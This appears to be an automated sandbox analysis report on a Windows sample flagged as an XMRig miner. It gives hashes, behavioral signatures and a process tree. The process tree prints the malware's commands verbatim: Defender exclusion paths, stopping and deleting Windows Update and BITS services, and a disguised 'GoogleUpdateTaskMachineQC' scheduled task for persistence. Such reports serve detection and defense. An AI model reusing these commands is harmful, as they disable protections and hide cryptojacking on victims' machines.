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230405-t3e6saaa8v 1031-03-2023 15:09
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230329-1c2enaaa35 10Analysis
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max time kernel
565s -
max time network
1807s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
31-03-2023 15:09
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
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Target
testing.exe
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Size
2.1MB
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MD5
a12bc9557ad889a49e7b4f970c78dda8
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SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
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SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
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SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1708 created 1376 1708 testing.exe Explorer.EXE PID 1708 created 1376 1708 testing.exe Explorer.EXE PID 1708 created 1376 1708 testing.exe Explorer.EXE PID 1708 created 1376 1708 testing.exe Explorer.EXE PID 1708 created 1376 1708 testing.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE PID 1548 created 1376 1548 conhost.exe Explorer.EXE PID 1292 created 1376 1292 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral1/memory/1952-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-147-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-151-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-153-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-155-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-157-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-159-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-161-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-163-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-165-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-167-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-169-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1952-171-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1292 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 948 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1952-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-147-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-151-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-153-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-155-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-157-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-159-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-161-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-163-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-165-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-167-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-169-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1952-171-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1292 set thread context of 1548 1292 updater.exe conhost.exe PID 1292 set thread context of 1952 1292 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
testing.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1824 sc.exe 1552 sc.exe 932 sc.exe 1752 sc.exe 584 sc.exe 1400 sc.exe 1208 sc.exe 1928 sc.exe 1668 sc.exe 880 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1892 schtasks.exe 1956 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 000be8d4f363d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1708 testing.exe 1708 testing.exe 268 powershell.exe 1708 testing.exe 1708 testing.exe 1708 testing.exe 1708 testing.exe 1708 testing.exe 1708 testing.exe 824 powershell.exe 1708 testing.exe 1708 testing.exe 876 powershell.exe 1292 updater.exe 1292 updater.exe 1296 powershell.exe 1292 updater.exe 1292 updater.exe 1292 updater.exe 1292 updater.exe 1292 updater.exe 1292 updater.exe 108 powershell.exe 1292 updater.exe 1292 updater.exe 1292 updater.exe 1292 updater.exe 1548 conhost.exe 1548 conhost.exe 1292 updater.exe 1292 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 39 IoCs
Processes:
powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 268 powershell.exe Token: SeDebugPrivilege 824 powershell.exe Token: SeShutdownPrivilege 1008 powercfg.exe Token: SeShutdownPrivilege 1728 powercfg.exe Token: SeShutdownPrivilege 1748 powercfg.exe Token: SeShutdownPrivilege 1816 powercfg.exe Token: SeDebugPrivilege 876 powershell.exe Token: SeDebugPrivilege 1296 powershell.exe Token: SeShutdownPrivilege 560 powercfg.exe Token: SeShutdownPrivilege 1928 powercfg.exe Token: SeShutdownPrivilege 1468 powercfg.exe Token: SeShutdownPrivilege 1624 powercfg.exe Token: SeDebugPrivilege 108 powershell.exe Token: SeDebugPrivilege 1292 updater.exe Token: SeAssignPrimaryTokenPrivilege 1020 WMIC.exe Token: SeIncreaseQuotaPrivilege 1020 WMIC.exe Token: SeSecurityPrivilege 1020 WMIC.exe Token: SeTakeOwnershipPrivilege 1020 WMIC.exe Token: SeLoadDriverPrivilege 1020 WMIC.exe Token: SeSystemtimePrivilege 1020 WMIC.exe Token: SeBackupPrivilege 1020 WMIC.exe Token: SeRestorePrivilege 1020 WMIC.exe Token: SeShutdownPrivilege 1020 WMIC.exe Token: SeSystemEnvironmentPrivilege 1020 WMIC.exe Token: SeUndockPrivilege 1020 WMIC.exe Token: SeManageVolumePrivilege 1020 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1020 WMIC.exe Token: SeIncreaseQuotaPrivilege 1020 WMIC.exe Token: SeSecurityPrivilege 1020 WMIC.exe Token: SeTakeOwnershipPrivilege 1020 WMIC.exe Token: SeLoadDriverPrivilege 1020 WMIC.exe Token: SeSystemtimePrivilege 1020 WMIC.exe Token: SeBackupPrivilege 1020 WMIC.exe Token: SeRestorePrivilege 1020 WMIC.exe Token: SeShutdownPrivilege 1020 WMIC.exe Token: SeSystemEnvironmentPrivilege 1020 WMIC.exe Token: SeUndockPrivilege 1020 WMIC.exe Token: SeManageVolumePrivilege 1020 WMIC.exe Token: SeLockMemoryPrivilege 1952 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exepowershell.exepowershell.exetaskeng.execmd.execmd.exedescription pid process target process PID 872 wrote to memory of 1400 872 cmd.exe sc.exe PID 872 wrote to memory of 1400 872 cmd.exe sc.exe PID 872 wrote to memory of 1400 872 cmd.exe sc.exe PID 872 wrote to memory of 1208 872 cmd.exe sc.exe PID 872 wrote to memory of 1208 872 cmd.exe sc.exe PID 872 wrote to memory of 1208 872 cmd.exe sc.exe PID 872 wrote to memory of 1928 872 cmd.exe sc.exe PID 872 wrote to memory of 1928 872 cmd.exe sc.exe PID 872 wrote to memory of 1928 872 cmd.exe sc.exe PID 872 wrote to memory of 1824 872 cmd.exe sc.exe PID 872 wrote to memory of 1824 872 cmd.exe sc.exe PID 872 wrote to memory of 1824 872 cmd.exe sc.exe PID 872 wrote to memory of 1668 872 cmd.exe sc.exe PID 872 wrote to memory of 1668 872 cmd.exe sc.exe PID 872 wrote to memory of 1668 872 cmd.exe sc.exe PID 872 wrote to memory of 1624 872 cmd.exe reg.exe PID 872 wrote to memory of 1624 872 cmd.exe reg.exe PID 872 wrote to memory of 1624 872 cmd.exe reg.exe PID 1172 wrote to memory of 1008 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1008 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1008 1172 cmd.exe powercfg.exe PID 872 wrote to memory of 1780 872 cmd.exe reg.exe PID 872 wrote to memory of 1780 872 cmd.exe reg.exe PID 872 wrote to memory of 1780 872 cmd.exe reg.exe PID 872 wrote to memory of 1948 872 cmd.exe reg.exe PID 872 wrote to memory of 1948 872 cmd.exe reg.exe PID 872 wrote to memory of 1948 872 cmd.exe reg.exe PID 872 wrote to memory of 1896 872 cmd.exe reg.exe PID 872 wrote to memory of 1896 872 cmd.exe reg.exe PID 872 wrote to memory of 1896 872 cmd.exe reg.exe PID 872 wrote to memory of 1932 872 cmd.exe reg.exe PID 872 wrote to memory of 1932 872 cmd.exe reg.exe PID 872 wrote to memory of 1932 872 cmd.exe reg.exe PID 1172 wrote to memory of 1728 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1728 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1728 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1748 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1748 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1748 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1816 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1816 1172 cmd.exe powercfg.exe PID 1172 wrote to memory of 1816 1172 cmd.exe powercfg.exe PID 824 wrote to memory of 1892 824 powershell.exe schtasks.exe PID 824 wrote to memory of 1892 824 powershell.exe schtasks.exe PID 824 wrote to memory of 1892 824 powershell.exe schtasks.exe PID 876 wrote to memory of 1836 876 powershell.exe schtasks.exe PID 876 wrote to memory of 1836 876 powershell.exe schtasks.exe PID 876 wrote to memory of 1836 876 powershell.exe schtasks.exe PID 948 wrote to memory of 1292 948 taskeng.exe updater.exe PID 948 wrote to memory of 1292 948 taskeng.exe updater.exe PID 948 wrote to memory of 1292 948 taskeng.exe updater.exe PID 1412 wrote to memory of 560 1412 cmd.exe powercfg.exe PID 1412 wrote to memory of 560 1412 cmd.exe powercfg.exe PID 1412 wrote to memory of 560 1412 cmd.exe powercfg.exe PID 576 wrote to memory of 880 576 cmd.exe sc.exe PID 576 wrote to memory of 880 576 cmd.exe sc.exe PID 576 wrote to memory of 880 576 cmd.exe sc.exe PID 576 wrote to memory of 1752 576 cmd.exe sc.exe PID 576 wrote to memory of 1752 576 cmd.exe sc.exe PID 576 wrote to memory of 1752 576 cmd.exe sc.exe PID 576 wrote to memory of 584 576 cmd.exe sc.exe PID 576 wrote to memory of 584 576 cmd.exe sc.exe PID 576 wrote to memory of 584 576 cmd.exe sc.exe PID 1412 wrote to memory of 1928 1412 cmd.exe powercfg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {F12A26E4-A165-488B-8B8B-35FD1A544122} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
